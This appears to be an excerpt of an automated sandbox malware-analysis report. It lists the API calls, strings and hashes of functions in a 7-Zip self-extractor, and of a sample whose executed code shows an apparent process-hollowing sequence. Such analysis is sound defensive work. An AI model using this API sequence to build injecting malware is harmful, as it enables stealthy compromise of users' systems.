Part of subcall function 0040885E: GetWindowLongW.USER32(00000000,000000F0), ref: 00408946
Part of subcall function 0040885E: SetWindowLongW.USER32(00000000,000000F0,00000000), ref: 00408955
Part of subcall function 0040885E: GetDlgItem.USER32(?,000004B2), ref: 0040896B

Part of subcall function 004098D4: GetDlgItem.USER32(?,000004B6), ref: 004098E8
Part of subcall function 004098D4: SetFocus.USER32(00000000,?,00000000,?,00407E57,?), ref: 004098EB
Part of subcall function 004098D4: GetDlgItem.USER32(?,000004B6), ref: 004098FB
Part of subcall function 004098D4: GetDlgItem.USER32(?,000004B6), ref: 00409913
Part of subcall function 004098D4: SendMessageW.USER32(00000000,000000B1,0000002D,0000002D), ref: 0040991D

Memory Dump Source

Source File: 00000008.00000002.2088344302.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2088328127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088367661.0000000000426000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088386751.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088403938.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_3BD2.jbxd

Similarity

API ID: Item$Window$Long$MessageSendSystem$HandleLoadMetricsModule$DirectoryFileFocusIconImageInfoShow
String ID:
API String ID: 2966018739-0
Opcode ID: e23b42092e34b1a96974f2fc2982f401f3c2b80cd7f40bf49976270d683c57db
Instruction ID: cba43c7cb726381ab6199fa7b18c1b0d7a1293c5f3324d0a1d8f45c7df7ef1ad
Opcode Fuzzy Hash: e23b42092e34b1a96974f2fc2982f401f3c2b80cd7f40bf49976270d683c57db
Instruction Fuzzy Hash: CA1184B2A00214ABDB10ABA5DC49F9EB7ADAF45314F4444B6BA05E32C1DA78DD008794

Uniqueness

Uniqueness Score: -1.00%

Function 0041C49A Relevance: 6.1, APIs: 4, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2088344302.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2088328127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088367661.0000000000426000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088386751.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088403938.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_3BD2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3dd9033269c76c64176d7caa715b901faf46b904c1f5dd3c28fda8c014673bad
Instruction ID: 06c532f0e856b08cbec22241b2280dff1d786aa1756c7f0a263b5bfaf1c3592e
Opcode Fuzzy Hash: 3dd9033269c76c64176d7caa715b901faf46b904c1f5dd3c28fda8c014673bad
Instruction Fuzzy Hash: 3401F7F26492253EE7201A787CC0FA7620DDB403B8B30032BF422912D5DB289DD1416D

Uniqueness

Uniqueness Score: -1.00%

Function 00408286 Relevance: 6.1, APIs: 4, Instructions: 58COMMON

Download Yara Rule

APIs

SystemParametersInfoW.USER32(00000029,000001F4,?,00000000), ref: 004082AE
GetSystemMetrics.USER32(00000031), ref: 004082D4
CreateFontIndirectW.GDI32(?), ref: 004082E4
DeleteObject.GDI32(00000000), ref: 00408310

Memory Dump Source

Source File: 00000008.00000002.2088344302.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2088328127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088367661.0000000000426000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088386751.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088403938.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_3BD2.jbxd

Similarity

API ID: System$CreateDeleteFontIndirectInfoMetricsObjectParameters
String ID:
API String ID: 1900162674-0
Opcode ID: cacc2c15a5b800ec735e81840f7e04abea510644378271f59646a7a4fc92373e
Instruction ID: 75b9f5321dd968b731a610c5fb1de8e500b9923bf5aa4959ce782eacfd9f6304
Opcode Fuzzy Hash: cacc2c15a5b800ec735e81840f7e04abea510644378271f59646a7a4fc92373e
Instruction Fuzzy Hash: E311C172A00219AFDB208F68DD44AABB7B8EF48704F01427EAC45B7380DF719D05CB98

Uniqueness

Uniqueness Score: -1.00%

Function 004182DA Relevance: 6.1, APIs: 4, Instructions: 53COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBVCRUNTIME ref: 004182F4

Part of subcall function 00418241: BuildCatchObjectHelperInternal.LIBVCRUNTIME ref: 00418270
Part of subcall function 00418241: ___AdjustPointer.LIBCMT ref: 0041828B

_UnwindNestedFrames.LIBCMT ref: 00418309
__FrameHandler3::FrameUnwindToState.LIBVCRUNTIME ref: 0041831A
CallCatchBlock.LIBVCRUNTIME ref: 00418342

Memory Dump Source

Source File: 00000008.00000002.2088344302.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2088328127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088367661.0000000000426000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088386751.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088403938.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_3BD2.jbxd

Similarity

API ID: Catch$BuildFrameObjectUnwind$AdjustBlockCallFramesHandler3::HelperInternalNestedPointerState
String ID:
API String ID: 737400349-0
Opcode ID: 110da7d1c6ce5bea61a2aec282f92c69db10d6b3118e185abc890ba49dcb9387
Instruction ID: e15a677e1f73e86b5f42ab0e3da03cd1d24b6e3a9b32c8766febede5e188ef9f
Opcode Fuzzy Hash: 110da7d1c6ce5bea61a2aec282f92c69db10d6b3118e185abc890ba49dcb9387
Instruction Fuzzy Hash: AE01ED32500109BBDF126F96CC45EEB7F69EF58758F08401DFE1866121DB3AE8A1DBA4

Uniqueness

Uniqueness Score: -1.00%

Function 0040A042 Relevance: 6.0, APIs: 4, Instructions: 47COMMON

Download Yara Rule

APIs

ScreenToClient.USER32(?,?), ref: 0040A07C
GetClientRect.USER32(?,?), ref: 0040A08E
PtInRect.USER32(?,?,?), ref: 0040A09D

Part of subcall function 00408451: KillTimer.USER32(?,00000001), ref: 0040845F

CallNextHookEx.USER32(?,?,?), ref: 0040A0BF

Memory Dump Source

Source File: 00000008.00000002.2088344302.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2088328127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088367661.0000000000426000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088386751.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088403938.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_3BD2.jbxd

Similarity

API ID: ClientRect$CallHookKillNextScreenTimer
String ID:
API String ID: 3015594791-0
Opcode ID: b245893613bd07ebfd0fdf9842ef43e7ea724dac6e4a133ab68209a176e0fb33
Instruction ID: c5253fab3988fd9ceeccbe1ebfe6da74f2a34928572cde87a90a9c54b3b831c3
Opcode Fuzzy Hash: b245893613bd07ebfd0fdf9842ef43e7ea724dac6e4a133ab68209a176e0fb33
Instruction Fuzzy Hash: 1E014431200209EFCF20EF54DD54DAE7BB5FB08304B14817AE506A62B1D775E8A9DF5A

Uniqueness

Uniqueness Score: -1.00%

Function 00409927 Relevance: 6.0, APIs: 4, Instructions: 34windowCOMMON

Download Yara Rule

APIs

GetObjectW.GDI32(?,0000005C,?), ref: 00409942
CreateFontIndirectW.GDI32(?), ref: 00409958
GetDlgItem.USER32(?,000004B5), ref: 0040996C
SendMessageW.USER32(00000000,00000030,00000000,00000000), ref: 00409978

Memory Dump Source

Source File: 00000008.00000002.2088344302.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2088328127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088367661.0000000000426000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088386751.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088403938.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_3BD2.jbxd

Similarity

API ID: CreateFontIndirectItemMessageObjectSend
String ID:
API String ID: 2001801573-0
Opcode ID: aa82001d46b39d1db484f2dbcb934f8f6ccc1e52e9d3db63e5db7bf848302044
Instruction ID: bdd72d62616218614ec8ad58ebf6b86f3db3b0295b495b4d059cd2c9f8d91e95
Opcode Fuzzy Hash: aa82001d46b39d1db484f2dbcb934f8f6ccc1e52e9d3db63e5db7bf848302044
Instruction Fuzzy Hash: BDF05475A00704ABD7305BA4DD09F87BFACAF44B11F450039BD02B12D9DF74D8058A58

Uniqueness

Uniqueness Score: -1.00%

Function 00423C06 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(?,?,0000002C,00000000,?,?,00422DF9,?,00000001,?,00000001,?,00421E57,00000020,?,00000001), ref: 00423C1D
GetLastError.KERNEL32(?,00422DF9,?,00000001,?,00000001,?,00421E57,00000020,?,00000001,00000020,00000001,?,004223D6,00000008), ref: 00423C29

Part of subcall function 00423BEF: CloseHandle.KERNEL32(FFFFFFFE,00423C39,?,00422DF9,?,00000001,?,00000001,?,00421E57,00000020,?,00000001,00000020,00000001), ref: 00423BFF

___initconout.LIBCMT ref: 00423C39

Part of subcall function 00423BB1: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,00423BE0,00422DDF,00000001,?,00421E57,00000020,?,00000001,00000020), ref: 00423BC4

WriteConsoleW.KERNEL32(?,?,0000002C,00000000,?,00422DF9,?,00000001,?,00000001,?,00421E57,00000020,?,00000001,00000020), ref: 00423C4E

Memory Dump Source

Source File: 00000008.00000002.2088344302.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2088328127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088367661.0000000000426000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088386751.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088403938.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_3BD2.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: c632d5a77bb0d31995ff0d84f64276103a3a88574367d43ecb90f5810a5ebf5d
Instruction ID: 00e9da8735273d3f417082ed05cc657c3cee2d2d9b3d905743c44b077b868b27
Opcode Fuzzy Hash: c632d5a77bb0d31995ff0d84f64276103a3a88574367d43ecb90f5810a5ebf5d
Instruction Fuzzy Hash: 78F01237200269BBDF222FD6EC0499A3F76FB183A2F814165F91895131C6369920DB98

Uniqueness

Uniqueness Score: -1.00%

Function 0040407A Relevance: 6.0, APIs: 4, Instructions: 26COMMON

Download Yara Rule

APIs

GetParent.USER32(?), ref: 00404081
GetWindowRect.USER32(?,?), ref: 00404095
ScreenToClient.USER32(00000000,?), ref: 0040409D
ScreenToClient.USER32(00000000,?), ref: 004040A8

Memory Dump Source

Source File: 00000008.00000002.2088344302.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2088328127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088367661.0000000000426000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088386751.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088403938.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_3BD2.jbxd

Similarity

API ID: ClientScreen$ParentRectWindow
String ID:
API String ID: 2099118873-0
Opcode ID: 91978cfe2751bc6ad27ba7775ec1b7e026b1ed69c816e5d19e369bd3a7f79805
Instruction ID: b66d6f51a09f466e3f1a895b3637ce6df07ce734d9cfad825eab1b3b0eb75e52
Opcode Fuzzy Hash: 91978cfe2751bc6ad27ba7775ec1b7e026b1ed69c816e5d19e369bd3a7f79805
Instruction Fuzzy Hash: DFE04F72200249BFDB209FA2EC88C5B7FACFB897653414035FE15C1120C731D846CB68

Uniqueness

Uniqueness Score: -1.00%

Function 0041CA30 Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0041CA39

Part of subcall function 0041D99A: HeapFree.KERNEL32(00000000,00000000,?,00420512,?,00000000,?,00000000,?,00420539,?,00000007,?,?,0042093D,?), ref: 0041D9B0
Part of subcall function 0041D99A: GetLastError.KERNEL32(?,?,00420512,?,00000000,?,00000000,?,00420539,?,00000007,?,?,0042093D,?,?), ref: 0041D9C2

_free.LIBCMT ref: 0041CA4C
_free.LIBCMT ref: 0041CA5D
_free.LIBCMT ref: 0041CA6E

Memory Dump Source

Source File: 00000008.00000002.2088344302.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2088328127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088367661.0000000000426000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088386751.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088403938.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_3BD2.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: a63f5945b69e72ce60f23a0b7b4e1b51cb5caed925be45391033b220c94745b5
Instruction ID: 3eaef5f428d09324b14265b15cb39ead9da290f6326002ff294f85c2eb1d1b52
Opcode Fuzzy Hash: a63f5945b69e72ce60f23a0b7b4e1b51cb5caed925be45391033b220c94745b5
Instruction Fuzzy Hash: D6E0B6F2860220BA8B0A7F26BC4158A3EE1F758717305742BF45916639C73D07D2AF9D

Uniqueness

Uniqueness Score: -1.00%

Function 0040807B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 87COMMON

Download Yara Rule

APIs

Part of subcall function 00407F68: GetSystemMetrics.USER32(0000000B), ref: 00407F92
Part of subcall function 00407F68: GetSystemMetrics.USER32(0000000C), ref: 00407F99

GetSystemMetrics.USER32(00000007), ref: 00408092
GetSystemMetrics.USER32(00000007), ref: 004080A3

Strings

100%% , xrefs: 004080C2, 004080C9, 00408125

Memory Dump Source

Source File: 00000008.00000002.2088344302.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2088328127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088367661.0000000000426000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088386751.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088403938.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_3BD2.jbxd

Similarity

API ID: MetricsSystem
String ID: 100%%
API String ID: 4116985748-568723177
Opcode ID: 5956e89d91539bf1be7e0d599d6fddc0c2750888a7e0b8bfd265b9a2f70e1c9a
Instruction ID: 8487e24fe88bb973aa5c0e0d2e46d373bfe847caa0c3536acd560b69327afa84
Opcode Fuzzy Hash: 5956e89d91539bf1be7e0d599d6fddc0c2750888a7e0b8bfd265b9a2f70e1c9a
Instruction Fuzzy Hash: 4F315C716007059FCB20EB69DA429AFBBF5EF50718F00052EE482B66D1DB74ED49CB68

Uniqueness

Uniqueness Score: -1.00%

Function 00419ACD Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

Strings

l3C, xrefs: 00419B49
`3C, xrefs: 00419B28

Memory Dump Source

Source File: 00000008.00000002.2088344302.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2088328127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088367661.0000000000426000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088386751.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088403938.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_3BD2.jbxd

Similarity

API ID:
String ID: `3C$l3C
API String ID: 0-4265917238
Opcode ID: d20e29b7d094c91299eec6aafbd5e6c7172bc504832a2672b6fcd718cb3214f2
Instruction ID: 5519793aae1b5ad110ba9f4c4c1520e0ccee9841e529c941c8b1b40779b6c268
Opcode Fuzzy Hash: d20e29b7d094c91299eec6aafbd5e6c7172bc504832a2672b6fcd718cb3214f2
Instruction Fuzzy Hash: CB11E031E046146ADF00DF7CA8513DF77A46F06324F14906BEC10EB281D778AE808B9D

Uniqueness

Uniqueness Score: -1.00%

Function 004096FD Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

wsprintfW.USER32 ref: 00409732
GetDlgItem.USER32(?,?), ref: 00409753

Strings

(%d%s), xrefs: 0040972C

Memory Dump Source

Source File: 00000008.00000002.2088344302.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2088328127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088367661.0000000000426000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088386751.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088403938.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_3BD2.jbxd

Similarity

API ID: Itemwsprintf
String ID: (%d%s)
API String ID: 449186261-2087557067
Opcode ID: d2e2167c4bf2b07b02facf3a4b02caecadafc7d69f0aed4da4d943e4089f457b
Instruction ID: 8c9b87f95cd86d3227a749791a2567e5c62fe874d7b8c78f0c607d31453c10d6
Opcode Fuzzy Hash: d2e2167c4bf2b07b02facf3a4b02caecadafc7d69f0aed4da4d943e4089f457b
Instruction Fuzzy Hash: 5EF04972900218AFCF10B795DC06E8E77BDEF44308F40446AF613A1462DB75AA598B58

Uniqueness

Uniqueness Score: -1.00%

Function 00409F82 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 32COMMON

Download Yara Rule

APIs

Part of subcall function 00407D35: KiUserCallbackDispatcher.NTDLL(00000010), ref: 00407D70
Part of subcall function 00407D35: GetSystemMetrics.USER32(00000011), ref: 00407D82

IsWindow.USER32 ref: 00409F9D
IsBadReadPtr.KERNEL32(00000078), ref: 00409FAF

Strings

8~B, xrefs: 00409FCD

Memory Dump Source

Source File: 00000008.00000002.2088344302.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2088328127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088367661.0000000000426000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088386751.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088403938.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_3BD2.jbxd

Similarity

API ID: CallbackDispatcherMetricsReadSystemUserWindow
String ID: 8~B
API String ID: 388239213-4233566718
Opcode ID: d78989d57116a90b7011ee10293bbf73217535a3b432fe44aafeec329668e175
Instruction ID: 5f531cd96944466510315b262270dfa2334589700289989bc5a66cfbbad84b2e
Opcode Fuzzy Hash: d78989d57116a90b7011ee10293bbf73217535a3b432fe44aafeec329668e175
Instruction Fuzzy Hash: 60F0B431744126ABCF10AFE1ED16AA97B35BF00745F004539FA01A52F6EBB49814CB9C

Uniqueness

Uniqueness Score: -1.00%

Function 00409F0B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 31COMMON

Download Yara Rule

APIs

Part of subcall function 00407D35: KiUserCallbackDispatcher.NTDLL(00000010), ref: 00407D70
Part of subcall function 00407D35: GetSystemMetrics.USER32(00000011), ref: 00407D82

IsWindow.USER32 ref: 00409F36
IsBadReadPtr.KERNEL32(00000078), ref: 00409F48

Strings

h~B, xrefs: 00409F65

Memory Dump Source

Source File: 00000008.00000002.2088344302.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2088328127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088367661.0000000000426000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088386751.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088403938.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_3BD2.jbxd

Similarity

API ID: CallbackDispatcherMetricsReadSystemUserWindow
String ID: h~B
API String ID: 388239213-2431334222
Opcode ID: ddef8c3f623dfc1824cd857c2a11baad28c4866ac9ade75396bb3ca9b8d085f0
Instruction ID: 04d4bf12f879747efbc59a4bd3e20fa98de391c54e7ef9d5966c802a0e9cf1a5
Opcode Fuzzy Hash: ddef8c3f623dfc1824cd857c2a11baad28c4866ac9ade75396bb3ca9b8d085f0
Instruction Fuzzy Hash: B6F0F030A041469FDB10AFF0EC56BA97B36BF10309F00403AE604A42F7DBB85858CB5D

Uniqueness

Uniqueness Score: -1.00%

Function 00409DAB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30threadCOMMON

Download Yara Rule

APIs

Part of subcall function 0040860B: IsWindow.USER32(00000000), ref: 00408614

CreateThread.KERNEL32(00000000,00000000,00409FEF,x}B,00000000,00000000), ref: 00409DC1
GetDlgItem.USER32(?,000004B2), ref: 00409DEA

Strings

x}B, xrefs: 00409DB9

Memory Dump Source

Source File: 00000008.00000002.2088344302.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2088328127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088367661.0000000000426000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088386751.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088403938.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_3BD2.jbxd

Similarity

API ID: CreateItemThreadWindow
String ID: x}B
API String ID: 1005160481-2816526333
Opcode ID: eff7c2a864bc86e5ecd01cb7d6264d82e99845e945669ad75a2d525992a51df6
Instruction ID: acecdef57773b65823629684274dc576dd825be92ea59fe7f9c59be1782db0e4
Opcode Fuzzy Hash: eff7c2a864bc86e5ecd01cb7d6264d82e99845e945669ad75a2d525992a51df6
Instruction Fuzzy Hash: 60E092B53012207BE9202361BD0ADAB3A4DDB54720701443AB806E11D2CEB98C4055AC

Uniqueness

Uniqueness Score: -1.00%

Function 00408567 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 11COMMON

Download Yara Rule

APIs

IsWindow.USER32(?), ref: 0040856D
EndDialog.USER32(?,00000000), ref: 0040857C

Strings

ExecuteOnLoad, xrefs: 00408567

Memory Dump Source

Source File: 00000008.00000002.2088344302.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2088328127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088367661.0000000000426000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088386751.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088403938.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_3BD2.jbxd

Similarity

API ID: DialogWindow
String ID: ExecuteOnLoad
API String ID: 2634769047-2703198497
Opcode ID: 44f1ecb655085ac98aaf98d0f83e04e27aee08ef5a8ac3c51c9222f6e074e9ce
Instruction ID: f0e771cb58d168debaee2b7409eb9b93e0bd3ccf793fddb14a53480844e180ca
Opcode Fuzzy Hash: 44f1ecb655085ac98aaf98d0f83e04e27aee08ef5a8ac3c51c9222f6e074e9ce
Instruction Fuzzy Hash: 0BC08C30300211EBDB302B18FF0AB827BA8EF00B10F46447EB846A00B0CBE0AC118A98

Uniqueness

Uniqueness Score: -1.00%

Function 004067BE Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 7windowCOMMON

Download Yara Rule

APIs

MessageBoxA.USER32(00000000,Could not allocate memory,7-Zip SFX,00000010), ref: 004067CC

Strings

Could not allocate memory, xrefs: 004067C5
7-Zip SFX, xrefs: 004067C0

Memory Dump Source

Source File: 00000008.00000002.2088344302.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2088328127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088367661.0000000000426000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088386751.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088403938.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_3BD2.jbxd

Similarity

API ID: Message
String ID: 7-Zip SFX$Could not allocate memory
API String ID: 2030045667-3806377612
Opcode ID: c62dd35eb1956b63952f305c9ec45312e0d1a565043a86658dcb457737846c61
Instruction ID: b232b5b51c1f87b34ab939d925b3bc23547785b2bcce08a05be46e7ce2a63e52
Opcode Fuzzy Hash: c62dd35eb1956b63952f305c9ec45312e0d1a565043a86658dcb457737846c61
Instruction Fuzzy Hash: 18B012703C831431D11083602C07F0914400B58F22FD104517901A80C0D6D45140101C

Uniqueness

Uniqueness Score: -1.00%

Function 0041CC68 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 6COMMON

Download Yara Rule

APIs

GetCommandLineA.KERNEL32 ref: 0041CC68
GetCommandLineW.KERNEL32 ref: 0041CC73

Strings

x%^, xrefs: 0041CC6E

Memory Dump Source

Source File: 00000008.00000002.2088344302.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2088328127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088367661.0000000000426000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088386751.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088403938.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_3BD2.jbxd

Similarity

API ID: CommandLine
String ID: x%^
API String ID: 3253501508-3246607598
Opcode ID: 9c5c336ed9f01159b359a7e71459e17f731cec5e66911555df6e4c34a555c4e4
Instruction ID: d13d55763d65b34ac5e490d59691d861136ac0158d0773816bec6458a8860842
Opcode Fuzzy Hash: 9c5c336ed9f01159b359a7e71459e17f731cec5e66911555df6e4c34a555c4e4
Instruction Fuzzy Hash: 6CB048B8900200CB8754BF25AC080043BE0B2083023C1A6B5E42586220E73842028F28

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: 4577.exePID: 1896, Parent PID: 2580COMMON

Execution Graph

Execution Coverage:	42.6%
Dynamic/Decrypted Code Coverage:	86.4%
Signature Coverage:	25%
Total number of Nodes:	44
Total number of Limit Nodes:	8

Executed Functions

Function 028F0110 Relevance: 22.7, APIs: 15, Instructions: 248
memorynativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,00002800,00001000,00000004), ref: 028F0156
GetModuleFileNameA.KERNELBASE(00000000,?,00002800), ref: 028F016C
CreateProcessA.KERNELBASE(?,00000000), ref: 028F0255
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 028F0270
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 028F0283
Wow64GetThreadContext.KERNEL32(00000000,?), ref: 028F029F
